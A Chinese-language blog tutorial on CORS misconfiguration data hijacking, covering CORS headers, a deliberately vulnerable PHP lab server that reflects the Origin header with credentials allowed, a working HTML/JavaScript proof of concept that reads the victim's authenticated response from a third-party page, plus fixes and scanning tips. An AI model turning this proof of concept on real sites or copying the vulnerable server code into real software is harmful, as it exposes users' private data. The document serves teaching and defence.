关于cors:深入了解CORS数据劫持漏洞

32次阅读

共计 2822 个字符,预计需要花费 8 分钟才能阅读完成。

1.1. CORS 介绍

CORS(跨源资源共享)是一种用于在 Web 应用程序中解决跨域申请的机制。当一个 Web 应用程序在浏览器中向不同的域(源)发动跨域申请时,浏览器会执行同源策略,限度了跨域申请的默认行为。同源策略要求 Web 应用程序只能拜访与其自身源(协定、域名和端口)雷同的资源。

然而,在某些状况下,咱们心愿容许来自其余源的跨域申请,例如应用 AJAX 进行跨域数据拜访或在前端应用程序中嵌入来自不同域的资源(如字体、样式表或脚本)。这时就须要应用 CORS 来解决跨域申请的限度。

CORS 通过在服务器端设置响应头来进行配置。当浏览器发动跨域申请时,服务器能够通过设置特定的 CORS 响应头来告知浏览器是否容许该申请。常见的 CORS 响应头包含以下几个:

  1. Access-Control-Allow-Origin:指定容许拜访该资源的源。能够是具体的源(如 http://example.com)或通配符(*),示意容许来自任意源的拜访。
  2. Access-Control-Allow-Methods:指定容许的 HTTP 办法(如 GET、POST、PUT 等)。
  3. Access-Control-Allow-Headers:指定容许的申请头字段。
  4. Access-Control-Allow-Credentials:指定是否容许发送身份凭证(如 cookies、HTTP 认证等)。
  5. Access-Control-Max-Age:指定预检申请(OPTIONS)的有效期,以缩小对服务器的频繁申请。

在前端代码中,如果要发送跨域申请,能够通过 XMLHttpRequest 对象或 fetch API 增加额定的申请头来批示浏览器发动 CORS 申请。浏览器会主动在发送申请时查看响应中的 CORS 头信息,并依据配置决定是否容许该申请。

具体可参考 MDN DOC

1.2. 破绽介绍

因为须要配置 CORS 响应头来告知浏览器是否容许该申请,所以如果配置不当,就可能导致攻击者通过歹意网站或代码执行跨域申请,从而 获取或篡改用户的敏感数据(危害和 CSRF 相似,不过能够劫持返回的内容)

1.3. 破绽复现

1.3.1. 环境搭建

实战过程中,次要是 Origin 可控 以及 Access-Control-Allow-Credentials 设置为True,这样能力劫持到数据,简略的破绽复现环境如下:

php 代码,保留为index.php

<?php
$userInfo = array(
    'username' => 'd4m1ts',
    'phone' => '13888888888'
);
$jsonResponse = json_encode($userInfo);

// 查看是否存在 Origin 头
if (isset($_SERVER['HTTP_ORIGIN'])) {
    // 设置 Access-Control-Allow-Origin 为申请中的 Origin 值
    header('Access-Control-Allow-Origin:' . $_SERVER['HTTP_ORIGIN']);

    // 设置 Access-Control-Allow-Credentials 为 True
    header('Access-Control-Allow-Credentials: true');
}

// 查看是否设置了名为 admin 的 Cookie
if (isset($_COOKIE['admin'])) {header('Content-Type: application/json');
    echo $jsonResponse;
} else {echo "unauth";}
?>

繁难启动 php web 服务

php -S 127.0.0.1:9999

1.3.2. 复现过程

间接关上会提醒unauth

依据代码,须要在 Cookie 中设置字段admin

Note

浏览器默认 SameSite 是 Lax,Lax的状况下无奈发送至第三方上下文中,所以须要设置一下,不然无奈劫持!

document.cookie = "admin=1; SameSite=None"

设置后刷新就能够拿到数据了,咱们假如这是敏感数据,后续即便对这个数据进行劫持。


假如 http://internal.gm7.org:9999/ 是指标,测试过程中在申请数据包头增加 Origin 字段,察看响应包,发现 Origin 可控,且Access-Control-Allow-Credentials: true,还没有验证 referer,就阐明能够劫持了。

编写 POC 如下:

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://internal.gm7.org:9999/", true);
  xhttp.withCredentials = true;
  xhttp.send();}
</script>
</body>
</html>

放到第三方网站上,可见胜利劫持

1.3.3. 特地阐明

如果要 CORS 携带 Cookie,同时胜利利用该破绽,须要满足如下几个条件

  1. Cookie 的 SameSite 属性值为None,但目前浏览器默认简直都是Lax
  2. 响应头中的 Access-Control-Allow-Origin 不能为通配符*,而是应指定具体的域名,否则只能发动申请,无奈获取到响应
  3. 服务器的响应头须要蕴含Access-Control-Allow-Credentials: true
  4. 在发动 Ajax 申请时,须要将 withCredentials 设置为true

1.4. 修复倡议

  1. 限度 Access-Control-Allow-Origin 的值为可信源,尽可能设置白名单,不能为*,也不能为null
  2. 防止 Access-Control-Allow-Credentials 的值为True
  3. 设置Access-Control-Allow-Methods(容许的 HTTP 办法)、Access-Control-Allow-Headers(容许的申请头)

1.5. 开掘技巧

能够在 burpsuite 中勾选替换条件,主动减少 Origin

而后从响应头中查看是否可控 Origin 以及是否蕴含Access-Control-Allow-Credentials: true

也能够挂着 xray 去扫,不过误报率可能会比拟高,大多都不是敏感信息,没啥意思,不过反正都须要人工去判断,看集体爱好吧。

正文完
 0